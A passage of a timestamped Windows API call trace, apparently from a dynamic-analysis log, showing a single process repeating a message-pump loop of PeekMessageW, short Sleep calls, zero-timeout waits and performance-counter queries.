[0133.838] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.839] Sleep (dwMilliseconds=0x64) [0133.858] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.858] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721008573) returned 1 [0133.858] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721008733) returned 1 [0133.859] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.859] Sleep (dwMilliseconds=0x64) [0133.869] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.869] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721045596) returned 1 [0133.869] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721045791) returned 1 [0133.870] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.870] Sleep (dwMilliseconds=0x64) [0133.885] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.885] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721099196) returned 1 [0133.885] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721099393) returned 1 [0133.885] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.886] Sleep (dwMilliseconds=0x64) [0133.900] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.900] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721152258) returned 1 [0133.900] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721152454) returned 1 [0133.901] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.901] Sleep (dwMilliseconds=0x64) [0133.916] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721205545) returned 1 [0133.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721205744) returned 1 [0133.917] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.917] Sleep (dwMilliseconds=0x64) [0133.932] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721261128) returned 1 [0133.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721261323) returned 1 [0133.933] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.933] Sleep (dwMilliseconds=0x64) [0133.947] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.947] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721312554) returned 1 [0133.947] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721312753) returned 1 [0133.948] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.948] Sleep (dwMilliseconds=0x64) [0133.963] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.963] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721366142) returned 1 [0133.963] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721366322) returned 1 [0133.963] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.964] Sleep (dwMilliseconds=0x64) [0133.978] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.978] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721418946) returned 1 [0133.978] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721419129) returned 1 [0133.979] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.979] Sleep (dwMilliseconds=0x64) [0133.994] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.994] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721472215) returned 1 [0133.994] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721472397) returned 1 [0133.995] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.995] Sleep (dwMilliseconds=0x64) [0134.010] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.010] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721526523) returned 1 [0134.010] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721526704) returned 1 [0134.010] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.011] Sleep (dwMilliseconds=0x64) [0134.025] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.025] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721579372) returned 1 [0134.025] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721579570) returned 1 [0134.026] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.026] Sleep (dwMilliseconds=0x64) [0134.041] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.041] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721634727) returned 1 [0134.042] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721634923) returned 1 [0134.042] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.043] Sleep (dwMilliseconds=0x64) [0134.056] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.056] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721685458) returned 1 [0134.056] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721685653) returned 1 [0134.057] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.057] Sleep (dwMilliseconds=0x64) [0134.072] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.072] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721739043) returned 1 [0134.072] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721739248) returned 1 [0134.073] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.073] Sleep (dwMilliseconds=0x64) [0134.103] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721845188) returned 1 [0134.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721845375) returned 1 [0134.104] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.104] Sleep (dwMilliseconds=0x64) [0134.119] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.119] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721901034) returned 1 [0134.119] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721901206) returned 1 [0134.120] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.120] Sleep (dwMilliseconds=0x64) [0134.134] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.134] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=721952526) returned 1 [0134.135] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=721952696) returned 1 [0134.135] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.136] Sleep (dwMilliseconds=0x64) [0134.150] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722007286) returned 1 [0134.151] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722007457) returned 1 [0134.151] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.152] Sleep (dwMilliseconds=0x64) [0134.165] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.166] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722058676) returned 1 [0134.166] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722058836) returned 1 [0134.166] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.166] Sleep (dwMilliseconds=0x64) [0134.181] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722111988) returned 1 [0134.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722112185) returned 1 [0134.182] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.182] Sleep (dwMilliseconds=0x64) [0134.197] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722165371) returned 1 [0134.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722165532) returned 1 [0134.197] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.198] Sleep (dwMilliseconds=0x64) [0134.214] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722225490) returned 1 [0134.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722225650) returned 1 [0134.215] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.215] Sleep (dwMilliseconds=0x64) [0134.228] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722272003) returned 1 [0134.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722272202) returned 1 [0134.229] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.229] Sleep (dwMilliseconds=0x64) [0134.243] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.244] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722325357) returned 1 [0134.244] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722325589) returned 1 [0134.244] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.245] Sleep (dwMilliseconds=0x64) [0134.260] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.260] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722381047) returned 1 [0134.260] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722381233) returned 1 [0134.260] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.261] Sleep (dwMilliseconds=0x64) [0134.275] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.275] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722432137) returned 1 [0134.275] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722432321) returned 1 [0134.275] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.276] Sleep (dwMilliseconds=0x64) [0134.294] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.294] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722496724) returned 1 [0134.294] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722496909) returned 1 [0134.294] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.295] Sleep (dwMilliseconds=0x64) [0134.306] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.306] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722538535) returned 1 [0134.306] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722538720) returned 1 [0134.306] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.307] Sleep (dwMilliseconds=0x64) [0134.322] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.322] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722592229) returned 1 [0134.322] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722592413) returned 1 [0134.322] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.323] Sleep (dwMilliseconds=0x64) [0134.337] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.337] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722645272) returned 1 [0134.337] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722645454) returned 1 [0134.338] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.338] Sleep (dwMilliseconds=0x64) [0134.353] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.353] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722700441) returned 1 [0134.353] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722700629) returned 1 [0134.354] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.354] Sleep (dwMilliseconds=0x64) [0134.369] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722753902) returned 1 [0134.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722754085) returned 1 [0134.369] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.370] Sleep (dwMilliseconds=0x64) [0134.385] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722809641) returned 1 [0134.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722809822) returned 1 [0134.386] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.386] Sleep (dwMilliseconds=0x64) [0134.399] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.400] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722858516) returned 1 [0134.400] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722858715) returned 1 [0134.400] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.401] Sleep (dwMilliseconds=0x64) [0134.415] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.415] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722911838) returned 1 [0134.415] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722912100) returned 1 [0134.416] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.416] Sleep (dwMilliseconds=0x64) [0134.431] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.431] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=722965122) returned 1 [0134.431] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=722965305) returned 1 [0134.431] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.432] Sleep (dwMilliseconds=0x64) [0134.446] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723018869) returned 1 [0134.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723019051) returned 1 [0134.447] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.448] Sleep (dwMilliseconds=0x64) [0134.464] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723079891) returned 1 [0134.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723080072) returned 1 [0134.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.465] Sleep (dwMilliseconds=0x64) [0134.546] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723357791) returned 1 [0134.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723357967) returned 1 [0134.547] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.548] Sleep (dwMilliseconds=0x64) [0134.555] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723391635) returned 1 [0134.556] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723391774) returned 1 [0134.556] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.556] Sleep (dwMilliseconds=0x64) [0134.571] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.571] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723444852) returned 1 [0134.571] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723444997) returned 1 [0134.572] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.572] Sleep (dwMilliseconds=0x64) [0134.589] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723511125) returned 1 [0134.591] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723511282) returned 1 [0134.591] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.591] Sleep (dwMilliseconds=0x64) [0134.602] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.602] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723551734) returned 1 [0134.602] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723551957) returned 1 [0134.603] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.603] Sleep (dwMilliseconds=0x64) [0134.618] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.618] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723604843) returned 1 [0134.618] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723605040) returned 1 [0134.618] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.619] Sleep (dwMilliseconds=0x64) [0134.634] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723659955) returned 1 [0134.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723660107) returned 1 [0134.634] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.635] Sleep (dwMilliseconds=0x64) [0134.649] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.649] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723712375) returned 1 [0134.649] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723712527) returned 1 [0134.650] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.650] Sleep (dwMilliseconds=0x64) [0134.665] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.665] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723764894) returned 1 [0134.665] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723765039) returned 1 [0134.665] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.666] Sleep (dwMilliseconds=0x64) [0134.680] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.680] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723818488) returned 1 [0134.680] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723818641) returned 1 [0134.681] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.681] Sleep (dwMilliseconds=0x64) [0134.696] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.696] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723871605) returned 1 [0134.696] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723871756) returned 1 